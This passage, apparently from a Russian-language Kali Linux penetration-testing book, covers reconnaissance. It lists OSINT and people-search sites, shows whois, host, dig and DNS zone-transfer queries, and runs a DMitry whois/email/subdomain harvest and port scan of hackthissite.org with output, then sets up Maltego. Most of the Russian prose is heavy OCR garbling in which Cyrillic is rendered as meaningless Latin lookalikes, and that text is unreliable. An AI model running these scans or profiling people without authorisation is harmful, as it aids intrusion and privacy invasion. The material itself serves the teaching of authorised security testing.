CJIelyeT TPENPUHSTD JIJIsT MOBbIIeHMs1 Ge30macHocTu. B aT0it T1aBe Mbl pazbepem,
CKOJIBKO MH(POPMAITIT MOKET MOJTYIUTh YeJI0BEK, 3HAIOMINIA, YTO U TIe UCKATD.

icnonb3oBaHue 0bWmx pecypcoB

B WnurepHere cymecTByeT HECKOIBKO OOIIEOCTYITHBIX PECYPCOB, KOTOPHIE MOKHO
MPUMEHSITD J17ist cbopa nHGOpMAIU 0 11eJIeBoM JoMene. [IpernMyIiecTBo nemnoab308a-
HUSI 9TUX PECYPCOB 3aKJIIOUAETCS B TOM, UTO CETEBOI TPapUK He OTIPABJISETCS HEIOo-
CPEJICTBEHHO B 1[EJICBOM JIOMEH, TI0ATOMY B JKYPHAJ COOBITHIT 1IEJIEBOTO IOMEHA TaKUe
NIeiiCTBUS He 3aIChIBAIOTCSI.

Huske BBl HafiieTe mepedenb pecypeoB, KOTOPBIE MOKHO UCIOIB30BaTh [7ist cOopa
Takoit nudopmaIum.

URL-appec pecypca OnucaHue

http://www.archive.org 3/1ech XpaHsATCsT apXUBBI CAliTOB

http://www.domaintools.com/ | Comep:KuT cBejeHUs O JOMEHHBIX UMEHAX

http://www.alexa.com/ Ha sToMm pecypce comepskutes 6aza JaHHbIX O caiiTax

IIpodonxcerue
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(IIpodonacenue)

URL-appec pecypca OnucaHue

http://serversniff.net/ I10 GecIIaTHbII «IIBERIAPCKUN apMERCKIil HOXK» 115 ceTeld,
MPOBEPKH CEPBEPOB U MapIIPy TH3aIUK

http://centralops.net/ 31ech BbI HalizieTe GecriiaTHbIe ceTeBble YTUIUTDI, Takue Kak domain,

email, browser, ping, traceroute u Whois

http://www.robtex.com | Ha ganHOM pecypce Bbl MOKeTe HAUTH HH(DOPMAIIUIO O IOMEHE 1 CETH

http://www.pipl.com/ 31ech BbI MOKeTe onpoboBaTh HaliTu B VIHTEpHETE J10/eii 110 1X
nuMenn u haMIJIMH, TOPOJLY, INTaTy U CTpaHe

http://wink.com/ Jlannast GecriiaTHast MOUCKOBAsI CHUCTEMA TT03BOJISIET HAXOUTD JIOJIei
110 IMEHH, HoMepy Tesie)oHa, aipecy 2JeKTPOHHON MOYTD, CAHTy,
otorpacpmm u T. 1.

http://www.isearch.com/ | Beciuiarias mouckoBast cuctema, Mo3BOJSIONAd HAlTH JI01ei
110 UMEHH, HOMepY TeJiehoHa U aJIPeCy 9JI€KTPOHHOM MOYTHI

http://www.tineye.com | TinEye — nouckoBas cucrema 00patHoro usobpazkernust. Mbl MOKeM
ucnonb3osarh TinEye, 4To0bI y3HATH, OTKY/Ia B3SIOCh H300pakeHNe,
KaK OHO TIPUMEHSIETCSI, CYIIECTBYIOT JIi €10 MOAM(PUIIMPOBAHHBIE
BEPCUU, U HAlTH Bepcuu ¢ GoJiee BBICOKUM paspelieHneM

http://www.sec.gov/ Jlanublii caiiT MOsKeT ObITh UCIIOJIB30BAH 15 TIOMCKA UHPOPMALITT
edgar.shtml 0 MyGJIMYHBIX KOMITAHUSAX B KOMUCCHY TI0 TIeHHBIM GyMaram u Gupskam

YT00BI MCIIOJIB30BATH 9T PECYPCHI, TPeOYeTcs TOJMBKO MOAK/II0ueHIe K THTepHeTy
u Gpaysep, KOTOPbIii €CTh B KayKI0i orepalioHHol cucteme. [ToaToMy Mbl 1 IIpejiaraeM
BaM, TIPEsKIe YeM BOCIIOJIb30BaThCA HHCTPYMeHTaMu, BetpoeHHbiMU B Kali Linux, mo-
paboTath ¢ 9TUMHE ITyOJIMYHBIMU PECYPCAM.

YTOObI 3aLUMTUTb IOMEH OT 3/10YMNOTPE6NEHNI, Mbl U3MEHMIN AOMEHHOE UMS,
KOTOpOoe 6bI1I0 UCMO/Ib30BaHO B HaluMx npuMepax. Mbl 6yaem ykasbiBaTb
HECKOJIbKO AOMEHHBIX MMEH, Takmx Kak example.com oT IANA un agpec 6ec-
nnaTHoro xakepckoro canta https://www.hackthissite.org/.

3anpoc CBe/IeHMI O perncTpaummn AoMeHa

ITocite TOro Kak BbI y3HAETe TIEJIEBOE IOMEHHOE UMsI, BAM HY/KHO 3alIPOCUTDH Gasy jaH-
ubix Whois u naiitu nndopmaruio 06 atom gomene. basa ganusix Whois nmpegoctaBut
urdopmaruio o DNS-cepBepe u konTakTHyio nadopmaiuio fomeHa. Whois — aro mpo-
TOKOJI JIJTsE IOWCKaA perucTparuii 8 iurepHere, 6a3 JaHHbBIX 3aPErUCTPUPOBAHHBIX IOMEH-
HBIX UMeH, [P-afpecoB 1 aBTroHOMHBIX cucTeM. [larubrit mpotokos ykazan B RFC 3912
(https://www.ietf.org/rfc/rfc3912.txt).

Mo ymomganmio Kali Linux yske mocrasssiercst ¢ Whois-kiertom. Yto6bt moydnTh
Whois-uHpopmariiyio o oMeHe, IIPOCTO BBEAUTE CAEAYIOILYI0 KOMAHY:

# whois example.com
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Huske npusogurest orBer Whois Ha BBeZIEHHYIO KOMaH/IY:

Domain Name: EXAMPLE.COM

Registrar: RESERVED-INTERNET ASSIGNED NUMBERS AUTHORITY
Sponsoring Registrar IANA ID: 376

Whois Server: whois.iana.org

Referral URL: http://res-dom.iana.org

Name Server: A.IANA-SERVERS.NET

Name Server: B.IANA-SERVERS.NET

Updated Date: 14-aug-2015

Creation Date: 14-aug-1995

Expiration Date: 13-aug-2016
>>> Last update of whois database: Wed, ©3 Feb 2016 ©1:29:37 GMT <<<

13 npeacrasiaernoro Whois orsera Mbl MOKeM IOJIy4nuTh HHGoOpMaiuo o DNS-
cepBepe U KOHTakTHOM Jinile goMeHa. OHa OyeT 1mojie3Ha Ha IOC/IeAyONIMX dTanax
TECTUPOBAHUS Ha IPOHUKHOBEHUE.

[Tomumo ucnoabzoBanus kanenta Whois us komananoit crpoku, uadopmarius
TaK/Ke MOKeT ObITh COOPaHa ¢ MOMOIIBIO CJAEAYIOMIMX CAlTOB:

0 www.whois.net;
O www.internic.net/whois.html.
[l cOOTBETCTBYIONIETO TOMEHA MOKHO TaKKe MePerTH K PerncTpaTopy AOMEHOB
BEPXHEr0 YPOBHSIL:
O Amepuka: www.arin.net/whois/;
O Espoma: www.db.ripe.net/whois;

O Asuarcko-TuxookeaHCKUi pernoH: www.apnic.net/apnic-info/whois_search2.

BHUMaHue: ans npuMeHeHWs AOMEeHa BEpPXHEro YPOBHSI pPerMcTtpaTtopoM
whois JoMeH AomkeH 6bITb 3aperncTpMpoBaH Yepe3 COBCTBEHHYO CUCTEMY.
Hanpumep, npu ucnonszosaHum WHOIS ARIN nowck 6yaeT BbIMOIHATHCA
ToNbkO B 6a3e AaHHbIX WHOIS ARIN. Basbl gaHHbIX Whois RIPE n APNIC
MCMonb30BaHbl He ByayT.

[TocJie mostyuenust nagopmarii 13 6azsl Whois Ham cieryer cobparh HHGOPMAIIO
0 DNS-3ammcsx 11e1eBoro joMeHa.

AHanu3 3anucen DNS

[Tesbto vctosib30Banust cpeicTB Karteropun 3arucu DNS sipjisiercst c6op nudopmarmu
0 DNS-cepBepax 1 cOOTBETCTBYIONINX 3aIMKCSX 11€JIEBOTO JIOMEHA.

Janee npuBeseHbl HEKOTOPbIe 00mme Tuilbl 3amuceii DNS.

Hanpumep, nipu tecTupoBaHnU Ha TPOHUKHOBEHME KJIUEHT MOXKET MOTPOCUTH BAC
y3HaTb Bce XocTbl u [P-aipeca, ocTynnbie /s ux gjomena. EauncrBennas nndopmaris,
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KOTOpOI‘/JI BbI paclioJjiaraere, — 3TO JJOMEHHOE UM OpraHNU3alluu. Mbr pacCMOTPUM HeE-
CKOJIBKO O6H.[I/IX MHCTPYMEHTOB, KOTOPbIC B TaKoi CAuTyalunm MOoryT BaM IIOMOYb.

Tun 3anucn | OnucaHue

SOA Hauano 3anucu nosnomounit

NS 3arnuch IMEHU cepBepa

A 3amuch agpeca [IPv4

MX 3amuch o6Mena IoyYToi

PTR 3amuch ykazatesieit

AAAA 3amuch anpeca [IPv6

CNAME AGGpeBraTypa KAHOHUYECKOTO UMEHNU. VICIO/Ib3yeTcst B Ka4ecTBe MCEeBJOHNMA
TSI IPYTOTO KAHOHMYECKOTO JOMEHHOTO UMEHU

[NonyyeHne nMeHu xocTa

ITocse Toro kKak Mbl mosyunm wabopmaiuio o DNS-cepsepe, He0OX0IUMO y3HATDH
[P-anpec xocta. M0OKHO MCIOJIB30BATD CJIEYIONIIE CPEACTBA KOMAHIHON CTPOKH JIJIst
moncka [P-ampeca xocta ¢ DNS-cepBepa:

# host hackthissite.org

ITo ymosryanuio komasa host Oyzer rckath 3amcu A, AAAA u MX gomena. To6br
3aIlIPOCUTD OTIEJIBHYIO 3alI1Ch, 100aBbTE APAMETP -a:

# host -a hackthissite.org

Trying "hackthissite.org"

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32115

;5 flags: gr rd ra; QUERY: 1, ANSWER: 12, AUTHORITY: ©, ADDITIONAL: ©
55 QUESTION SECTION:

s;hackthissite.org. IN ANY

53 ANSWER SECTION:
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.
hackthissite.org.

IN A 198.148.81.135

IN A 198.148.81.139

IN A 198.148.81.137

IN A 198.148.81.136

IN A 198.148.81.138

IN NS nsl.hackthissite.org.
IN NS c.ns.buddyns.com.

IN NS f.ns.buddyns.com.

IN NS e.ns.buddyns.com.

IN NS ns2.hackthissite.org.
hackthissite.org. IN NS b.ns.buddyns.com.
hackthissite.org. IN NS d.ns.buddyns.com.
Received 244 bytes from 172.16.43.2#53 in 34 ms

[Sa RV, BV, BV, BV, IV, BV RV, RV, BV RV, |
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Komanzia host, sanpammusast DNS-cepBepsl, TiepeunciienHble B daiise /etc/resolv. conf
Bateit cucrembl Kali Linux, uier atu 3anucu. Eciii BB XOTHTE HCIIOIB30BATh JAPYTHE
DNS-cepBepbl, IPOCTO YKAKUTE aJIPEC HYKHOTO CEPBEPA B KAUECTBE MOCJIE/IHETO MTapa-
MeTpa KOMaH/[HOI CTPOKH.

Ecnu ans komaHabl host B kauecTBe napaMeTpa Bbl YKAXETE UMSI AOMEHa,
6yneT Bbi3BaH MeToA NpsIMOro NpocMoTpa. Ecnn e B kayecTse napameTpa
Ans komaHael host 3apgagute IP-agpec, 6yaeT npyMeHeH meToa 06paTHOro
npocMoTpa.

[Tonpobyiite ¢ momolipio IP-agpeca npuMeHNTH METOZ 0GPATHOTO MIPOCMOTPA:

host 23.23.144.81

Kaxyto na(bOpMAINiO BB TOJTYIUTE € TIOMOIIBIO 3TOW KOMAH/IbI ?

Komamnmy host Takske MOKHO UCTIOJIB30BATD 1714 1iepenaun 30061 DNS. C ioMorpio
3TOTO MEXAHU3MA MBI MOKEM COOUPATh HHPOPMAIIUIO O XOCTAX, IOCTYITHBIX B IOMEHE.

[Tepemaua 3051 DNS — 9T0 MeXaHU3M, UCTTONB3YEMbBIH JIsT PETINKATNN Ha3b!
nautbix DNS ¢ rmasHoro DNS-cepepa Ha gpyroit DNS-cepBep, 00bIMHO Ha3bIBaeMbIi
HolMUHEHHBIM. Be3 aToTo MexaHu3Ma a[MUHUCTPATOPbI T0JKHBI OOHOBJIATH KasK/[bIil
DNS-cepBep oTesbHo. 3anpoc Ha mepeaady 3086l DNS go/keH ObITh BBIIAH MOJTHO-
mounomy DNS-cepBepy nomena.

B nacrosiiee BpeMst oueHb pesiko MOKHO HaliT DNS-cepBep, KOTOPbI B OTBET
Ha 3alpoc Tepeiaun MPOU3BOJIBHOIM 30HbBI TI03BOJISIET Tiepenady 30HbI DNS. 310 00b-
SICHSIETCST XapaKTEPOM TOH MHMOPMAIINH, KOTOPast MOKET OBITh COOPAHa B MpoTecce
repesiaun 30061 DNS.

Ecom Bo1 Hantn DNS-cepBep, niepeparoiinii 30Hb1 6e3 OrpaHUYeHNst, 3HAUUT, OH Ha-
CTPOEH HETPABUJIBHO.

dig: TexHukun passeabiBaHns DNS

Jlist oripoca DNS BbI, KpoMe KoMaH/[bl host, MOKeTe 1ctiob3oBath dig. [To cpaBHeHMIO
€ KOMaH 10i1 host y dig ecTb HEKOTOPBIE TPEUMYIIECTBA: HKCIIYyaTAIHOHHAS THOKOCTh
U TIOHSITHBIE Pe3yJIbTaThl Ha BbIXo7ie. C TTOMOIIBIO KOMAH/IbI dig BBl MOXKETE MOTTPOCUTh
cucreMy 06paboTaTh CIIUCOK MOUCKOBBIX 3aIIPOCOB 13 (hailia.

Onpocum ¢ momortbio dig gomen http://hackthissite.org. Ecsin komamnje dig, kpome
MMeHU JIoMeHa, 6OJIblIe He IPEJOCTaB/IATh HUKAKIX IIAPAMETPOB, Mbl [IOJLYYUM TOJIHKO
samuch A gomena. YTo6er 3arpocuTh Jit00oi apyroii Tum samcu DNS, ciemxyer coo6-
IUTH AOTOJHUTEIbHbBIC TAPAMETPBI:

# dig hackthissite.org

; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> hackthissite.org
;5 global options: +cmd

;5 Got answer:
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55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44321

;5 flags: gr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: @, ADDITIONAL: 1
;5 OPT PSEUDOSECTION:

; EDNS: version: @, flags:; MBZ: 0005 , udp: 4096

;3 QUESTION SECTION:

s;hackthissite.org. IN A

;5 ANSWER SECTION:

hackthissite.org. 5 IN A 198.148.81.139
hackthissite.org. 5 IN A 198.148.81.137
hackthissite.org. 5 IN A 198.148.81.138
hackthissite.org. 5 IN A 198.148.81.135
hackthissite.org. 5 IN A 198.148.81.136

55 Query time: 80 msec
55 SERVER: 172.16.43.2#53(172.16.43.2)
55 WHEN: Tue Feb ©2 18:16:06 PST 2016
53 MSG SIZE rcvd: 125

W3 pesyabTara BUIHO, YTO BBIXO/IHbIE aHHBIE dig Tenepb Bo3BpamaoT DNS-
3anmcu A.

DMitry: Marmyeckui MHCTPYMEHT Anst cbopa MHGOpMaLmm

Deepmagic Information Gathering Tool (DMitry) — uHcTpyMeHT /17151 cOopa MHMOPMAIUN
«BCe B OIHOM». ET0 MOJKHO MCTIOJIb30BaTh /st cO0pa cJeyonieil nHGOpMaImm:

O sanucu nporokosa Whois (mosydeHue perucTpanoHHbIX JaHHBIX O BJIAJIEIbIIaX
MIOMEHHBIX UMeH ) ¢ TpuMeHeHueM [P-afpeca niu 10MeHHOTO UMEHU;

Q cBemeHuii 0 xocTe Ot https://www.netcraft.com/;
O aHHBIX O OJIIOMEHaX B 1[€JIEBOM JIOMEHE;

a a/I[pecoB BJIGKTPOHHOP,I ITOYTHI ITEJIEBOTO JOMEHA.

Kpome Toro, ckaHupys TOPTBI, MBI TIOJTYYUM CITUCKHU OTKPBITHIX, (DPUIBTPOBAHHDIX
1 3aKPBITHIX TTOPTOB 1[EJIeBOTO KOMITbIOTEpa.

Koneuno, Bcio aTy nH(bOPMAINUIO MOKHO MOJYUYUTH C TOMOTIBIO PA3HBIX JIPYTHUX
uncrpymentos Kali Linux. Ho ropasio yao0Hee Ucronb3oBaTh I 9THX Ileieil OquH
WHCTPYMCHT.

Mockonbky B DMitry npeaycMoTpeHo 60sbLie BO3MOXHOCTEN aHanm3a DNS,
HaM KaXXeTCsl, YTO 3TOT MHCTPYMeHT 60/bLue NOAXOANT AN Knaccudukaumm
30Hbl DNS, a He ans aHanu3a mMapLpyTa.

Yro6bl noyunTh goctyn Kk DMitry us mento Kali Linux, nepeiiaure B pasge
Applications » Information Gathering » dmitry (ITpusoxenus » Céop undopmaimu » dmitry)
WJTV BBEJIMTE B KOMAHHYIO CTPOKY CJIEAYIONIYIO0 KOMAHIY:

# dmitry
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I[JIH IIpMEpPa BbIITOJIHUM C IIE€JIEBBIM XOCTOM CJIEe/IYIONne lIefICTBI/IH.

-~ e

Boimosranm mouck Whois.
[Tomyuum mudopmarmio ot https://www.netcraft.com/.
BoimosrHnM monck Bcex BO3MOJKHBIX IO/[[IOMEHOB.

[TpoBesieM TIOMCK BCEX BO3MOKHBIX aJIPECOB 3JIEKTPOHHOI MTOUTHI.

I[JIF{ BBIITOJIHEHUA YKa3aHHbIX I[efICTBI/IfI BBIITOJIHUTE CJIEAYIONTYIO KOMaH/Iy:

# dmitry -iwnse hackthissite.org

[lanee mpuBe/ieH COKpAIeHHBIN Pe3yIbTaT €€ BBITIOJTHEHNS:

Deepmagic Information Gathering Tool

"There be some deep magic going on"
HostIP:198.148.81.138

HostName:hackthissite.org

Gathered Inet-whois information for 198.148.81.138

inetnum:
netname:
descr:

remarks:

remarks:
remarks:
country:
admin-c:
tech-c:
status:
mnt-by:
mnt-lower:
mnt-routes:
created:

last-modified:

source:
role:
address:
admin-c:
tech-c:
nic-hdl:
remarks:
remarks:
mnt-by:
created:

last-modified:

source:

% This query was served by the RIPE Database Query Service version 1.85.1 (DB-2)

198.147.161.0 - 198.148.176.255
NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK

IPv4 address block not managed by the RIPE NCC
http://www.iana.org/assignments/ipv4-recovered-address-
space/ipv4-recovered-address-space.xhtml

EU # Country is really world wide
IANA1-RIPE

IANA1-RIPE

ALLOCATED UNSPECIFIED
RIPE-NCC-HM-MNT

RIPE-NCC-HM-MNT

RIPE-NCC-RPSL-MNT
2011-07-11T12:36:59Z
2015-10-29T15:18:417

RIPE

Internet Assigned Numbers Authority
see http://www.iana.org.

IANA1-RIPE

IANA1-RIPE

IANA1-RIPE

For more information on IANA services
go to IANA web site at http://www.iana.org.
RIPE-NCC-MNT

1970-01-01T00:00:00Z
2001-09-22T09:31:27Z

RIPE # Filtered
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MbI Tak:ke MOKEM MCII0JIb30BaTh KOMaHy dmitry naa IIPOCTOI0 CKaHUPOBaHUWA
IIOPTOB. I[JIH 9TOI'0 BBEAUTE CJIe/IyIolIee:

# dmitry -p hackthissite.org -f -b
PeSyﬂbTaTIHJHOHHGHIUIKOMaHﬂbIBHTHHHHTT&KHNIO6P330MI

Deepmagic Information Gathering Tool

"There be some deep magic going on"
HostIP:198.148.81.135

HostName:hackthissite.org

Gathered TCP Port information for 198.148.81.135

14/tcp  filtered
15/tcp  filtered
16/tcp  filtered
17/tcp  filtered
18/tcp  filtered
19/tcp  filtered
20/tcp  filtered
21/tcp  filtered
22/tcp  open

>> SSH-2.0-0penSSH_5.8p1_hpn13v10 FreeBSD-20110102
23/tcp  filtered
24/tcp  filtered
25/tcp  filtered
26/tcp  filtered

79/tcp  filtered

80/tcp  open

Portscan Finished: Scanned 150 ports, 69 ports were in state closed
All scans completed, exiting

C HOMOIIBIO TIPEBIYIIEN KOMAaH/Ibl MBI OOHAPY/KUJIN, UTO I[EJIEBOU XOCT UCIIOJIB3YET
porpamMMHoe obecriedenne A puabTpannu naketos. OTKPIT TOABKO HOPT 22, K KOTO-
POMY MOKHO HOAKIOUNThes yepes SSH, u nopr 80, 00bIYHO IpeiHa3HAYeHHbII J11s1 BeO-
cepBepa. /larnnast nnbopmanus mpeaCTaBIsSeT UHTEPEC, TAK KAK YKA3aH TUI YCTAHOBKU
SSH. MoXHO TPOAOKUTD UCCeloBaHNE ySI3BUMOCTEl, ycTaHoBUB OpenSSH.

Maltego: rpadumyeckoe otobparkeHue
cobpaHHON MHMDOPMaLK

Maltego — npuIOKEHNE ¢ OTKPHITBIM KOJOM, KOTOPOE MPEHAZHAYCHO /TSI PA3BEIKH
u kpuMuHATHCTUKA. OHO MO3BOJISIET 0OBIBATH, COGUPATH U CUCTEMATH3UPOBATH HH(DOP-
Mario. Maltego cobupaetr wHMOPMAIMIO M3 OTKPBITHIX NCTOYHUKOB. [Tocse Toro kak
urdopmarust 6yaer cobpana, Maltego MOMOKET OTPEAETUTD KITIOUEBIE CBA3U MEKILY
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JaHHBIMU ¥ 0TOOPa3uTh UX B TpaduueckoM Buje. Takoe orobpaxkeHre HHGOPMAITUI
06JIETYHT ee BOCTIPHUSITHE.

Maltego m03BoJIsIET TOMYYUTH CaeAyoNyIo HHGopMaIuio 06 HHGPACTPYKType

Unrepuera:

a

o O 00D

000D

MMsI JIOMEHA;

nms DNS;

Whois-undopmaruio;

ceTeBble OJIOKI;

[P-anpec.

Maltego Tax:ke MOKHO UCIIONB30BaTh AJ1s1 cOopa TaKoi HHGOPMAIUY O JIOIIX, KAK:
KOMITAHUY ¥ OPTaHU3AINH, a/[peca 3JIeKTPOHHON MOUThI, CBS3aHHbIE C KOHKPETHBIM
YeJIOBEKOM,;

CalTbl, COLIMATbHBIE CETH, CBSI3aHHbIE C JAHHOU ITepCOHO;

COIMaJIbHbIE CETH, CBSI3AHHBIE C UEJIOBEKOM;

Homepa TesiehOHOB;

uH(bOpPMAIUS B COIMMATBHBIX CETSX.

ITo ymosuanuto Kali Linux nocrasisiercst ¢ Maltego 3.6.1. Huske mepeuncienn

OTrpaHUYeHusI JOCTYITHON BepCuu:

a

000D

000D

HEJTh3sI MCITOJIb30BATh B KOMMEPUECKUX TEJISIX;
MakcuMyM 12 pe3ysibTaTtoB Ha mpeoOpa3oBaHIUE;
o0st3aTesIbHAST PETUCTPAIHS Ha CATe;

netictBre kioda AP orpannyeHo HECKOJIBKUMY JTHSIMU;

pabGoTaer Ha Gojee MeIJIEHHOM CEPBEPE, JOCTYIHOM BCEM IOJb30BATEIAM CO-
0011ecTBY;

o01IleHrEe MEK/TY KIUEHTOM U CEPBEPOM He (D PYETCst;
He OOHOBJISIETCST JI0 CJIEYOIIEH BEPCHH;
OTCYTCTBYET TOJIIEPIKKA KOHETHBIX TI0JIb30BATEIEl;

HeT 0OHOBJIEHUN 1TpeobpasoBaHuil Ha CEPBEPHOIL CTOPOHE.

B Maltego noctyrso 6ostee 70 ripeobpasoBanmit. Ciioo «ipeoGpazoBatues (transform)

otHocuTes K (hase cObopa nnpopmaimu Maltego. Onto peobpasoBaHue 03HAYAET, YTO
Maltego BbIMOHUT TOIBKO ofuH aTan cbopa nHpOpPMAIIH.

Yro6nr momyunTh qoctym k Maltego u3 menio Kali Linux, Beibepure u3 ocHOB-

HOTO MeHIO MyHKThI Application » Information Gathering » Maltego (ITpusoskenust » C6op
unpopmaiuu » Maltego). Maltego MOKHO 3amyCTUTD, BBE/isI B KOMaHIHYIO CTPOKY
TepMUHaIa KOMaH/Y:

# maltego
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I[Tociie 3amycKa nporpaMMbl Bbl YBUIMTE 9KpaH npuBeTcTtust Maltego. Uepes He-
CKOJIBKO CEKYH/I IIOSIBUTCSI CJIEAYIONIIIA MAcTep 3aIlyCcKa, KOTOPbII IOMOKET BaM HACTPO-
uth ket Maltego. s npogo/keHnsa HaCTPOiKU HaxMuTe KHONKY Next (laee).
ITosiBUTCA CaeAyIONIee OKHO, B KOTOPOM HEOOXOAUMO CO3aTh YUETHYIO 3aIliCh U MOy~
YUTH JAaHHBIE [IJI BXO/A.

[Tocsie BXo/1a B cucTeMy BBEAIMUTE CBOU JIMYHBIE IAHHBIC (MMS U a/ipec 3IeKTPOHHON
1o4Thl). 3aTeM HeOOXOAMMO BbIOPaTh UCTOYHUK IIpeodpasoBanus (puc. 4.1).

Welcome to Maltego!

Steps Startup wizard - Select Transform Seeds (1 of 2)

l'_-, Welcome

Install Transforms from:
[¥] Maltego public servers|

[[] Local TAS (Transform Application Server)

Note: The installation of Tranforms and addition of local servers can also be
done later by using the Transform Hub.

< Back || Next > ” Einish ” Cancel ” Help

Puc. 4.1. Buibop ncroyHvka npeobpasoBaHus

Krnuentckoe mpumosxkerve Maltego st momywenns mpeo6pasoBaHmil MOAKIIOYAETCS
K cepBepam Maltego. Ecin Maltego yermenino nHUTIMATH3UPYETCS, Ha 9KPAHe TIOSTBUTCST
cJiestyroniee IMaIoroBoe okHo (puc. 4.2).

Ecs Bl yBUZIEIM HA 9KpaHe KOMIIBIOTEPA 3TO IMAJIOr0BOE OKHO, 3HAYUT, MHUIIU-
anu3anus KINEHTCKOro npusoskenus Maltego mpora yenennao. Termepb Bbl MOKeTe
MIPUCTYNATh K €r0 NCI0JIb30BAHUIO.

Ipexie yeM ncosib3oBaTh KireHT Maltego, osHakoMuMcst ¢ ero nurepdeicom
(puc. 4.3).

B BepxHeii wactu uHTepdeiica HAXOAATCS BKIAJAKY TPYIIT KoMaH. YToObl BLIOpATh
HY’KHYIO BKJIQJIKY, IOCTATOYHO IEJKHYTD Ha ee spJibike. Briazika Investigate (Iccaeno-
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Welcome to Maltego!
Steps Startup wizard - Install Transforms (2 of 2)
Welcome
gin Ready...Set...GO!
nresult
ct Transform Seeds Your new Maltego client has been initialized sucessfully!

stall Transforms

5 new application server{s) were found
141 new transforms were found
31 new entities were installed

You are now ready to use Maltego!
@ Run a machine
) Open a blank graph and let me play around
() Open an example graph
() Go away, | have done this before!

| l< BacK || Next = “ Finish ” Cancel I

Help

Puc. 4.2. [lnanorosoe okHO MacTepa ycTtaHoBkM Maltego

Puc. 4.3. ViHTepdelic KIMeHTCKOro npunoxeHus Maltego

BaTh) COAEPKUT KOMAH/IbI, TI03BOJISTIONIIE BHIOPATh THI 00beKTa HccenoBanus. Maltego
JeJIUT 00BEKTHI Ha IIECTh TPYIIIL

Q Yempoticmea: Tenedon nan kKamepa.

Q HUnugppacmpyxmypoi: DNS-umst jomena, IP-anpec IPv4, MX-3anuch, NS-zamuch, 610K
cetn, URL-azpec u caifT.
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Q Pacnonoscenue.
Q Tecm na nponuxnosenue.

Q Juunvie dannvie: ICEBAOHUM, JOKYMEHT, a[pec 9JIeKTPOHHON 11o4ThI, (poTorpadus
yesioBeKa u ¢pasa.

Q Coyuanvivie cemu, Takue Kak Facebook, Twitter, mpuyactaocts k Facebook mnn
Twitter.

IIpaBee BbI yBUAMTE Apabik BRIk View (Bum). Mcmosb3ys ee komaH/ibl, BB CMO-
sKeTe BhIOPATh PEKUM OTOOPAKEHMUSL.

Q Main View (OGImuii Bup).
Q Bubble View (Bun «Ilysbipbru» ).
Q Entity List (Criicox 06bEKTOB).

CmeHa peskuMa 0ToOpaskeHust UCIOIb3YETCs ISt U3BJIEUEHUsT UH(MOPMAIUH, KO-
TOPYIO TSIKEJIO 3aMETUTh Ha OOJIBIINX rpaduKax, Tjie aHAJIUTHK € TIOMOIIBI0 PYYHOTO
KOHTPOJIS IAHHBIX HE MOKET YBUIETh YeTKUX CBsi3eil. Main View (OOl BU) — pPesknM,
B KOTOPOM BBI paboTaete Gorbinyio yacTh BpeMen. [Tpu BeiGope Buza Bubble View (B
«ITy3pipbku») Bee y3ibl GyAyT 0TOOpasKaThest B BUE My3bIPHKOB. Ecan BoIOpaTh B/
Entity List (Criricok 06BeKTOB), Bee Y3J1bI OYyT OTOOPaKEHBI B BI/IE CITHUCKA.

Jlaee HAXOMUTCS BKIAMIKA, T7Ie MOYKHO BBIOPATD PA3IMIHbIE AJITOPUTMBI KOMITOHOB-
ku. Maltego mojiiepsKuBaeT 4eThipe alropuT™Ma KOMITOHOBKH.

O Block layout (Maxer 6si0ka) — BBIGPAH TI0 YMOJTYAHUIO U UCTIONB3YETCS BO BPEMS
MHTEJJIEKTYAJTbHOTO AHATN3A TAHHDBIX.

QO Hierarchical layout (Mepapxuueckast KOMITOHOBKA) — TIOKa3biBaeT (hOpMUPOBaHUE Jie-
peBa y3JI0B CETH OT KOPHS /10 KOHEYHbBIX BeTBeil. C TTOMOIIBIO 3TOTO PEKUMA MOKHO
TTOHATDH CTPYKTYPY BeTBel U yBU/IETh POAUTEIbCKUE,/TOYePHIE CBI3U.

Q Centrality layout (LlenTpasbHoe pacio/ioskeHue) — MoKa3blBaeT IEHTPAJIbHBIN y3el,
a 3aTeM TIOJIKTIOUEHHBIE K HEMY y3JIbl. ITa (DYHKIMS MOKET ObITh TT0JE3HON TIpu
IIPOBEPKE HECKOJIbKUX Y3JI0B, CBA3AHHDBIX C OJJHUM LIEHTPAJILHLIM Y3JI0M.

Q Organic layout (Oprannyeckasi KOMIOHOBKA) — OpraHMYeckas KOMIIOHOBKA TaK OTO-
OpaskaeT y3JIbl CETH, KOT/[a PACCTOSTHUE MESKy HUMU MUHUMUZUPYETCST, TIO3BOJISIS
AHAJTUTHKY JIy4Ilie TOHSATH OOIIYI0 KAapTHHY Y3JI0B 1 UX B3aUMOCBSI3EIL.

ITocsie kpaTKOro o3HaKOMJIeHUsE ¢ uHTepdeiicom kaneHTa Maltego nmpuctynum
K [IPAKTUYECKUM JIEHCTBUSIM.

[IpeanoaoxuM, y Bac IOABUIACH HEOOXOAUMOCTD coOpaTh nHGOPMALIIO O JOMEHE.
[l71s1 aKcIiepuMenTa MbI BOCIIOJIb3yeMCs IOMEHOM example.com. Orincanne aKcriepuMeHTa
BBI HaliJieTe B CJIeyTONTUX pas/iesax.

1. Cospnatite HOBBIN Tpacduk (CtrI+T) u mepeiinTe Ha BKIaAKy Palette (IlammTpa).

2. Boibepure Infrastructure (udpacTpyKkrypa) U HeJKHUTE KHOIIKON MBI Ha Domain

(omen).
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3. Ileperamute oMeH B ry1aBHOE OKHO. Eciin BB Bee ciiesiaete paBUIIbHO, TO B IJIABHOM
OKHe YBU/UTE JIOMEH ¢ UMeHeM paterva.com.

4. JIBaxk/ibl MIEJKHUTE HA UMEHU U JlaliTe eMy UM 1[eJIeBOTO JOMeHa, Hallpumep
example.com (puc. 4.4).

View  Organze  Machines  Coflsboration

: \| (_I 1, Clear A0 !.mmhnrn“ulldrs i, JU 44 Gelect All B, Add Similar Silings B, Select Children 14, #dd Children X s-l.;u,m. o
;—' B A Cut i, =i ® Invert Scloction §7 Add Path ' Select Meighbara 37 Add Neighbeors Y Sclecklinks ~ || T
opy Pas 1sic| .
T 7 @ ot || rind sﬂe{m a2 SelectNone . Select Parents T'a Add Parents ¥t Select Boakmarked T Reverse Links l "
Srd Selecl =

=] Palette 23 Home = |6 New Graph (2) =

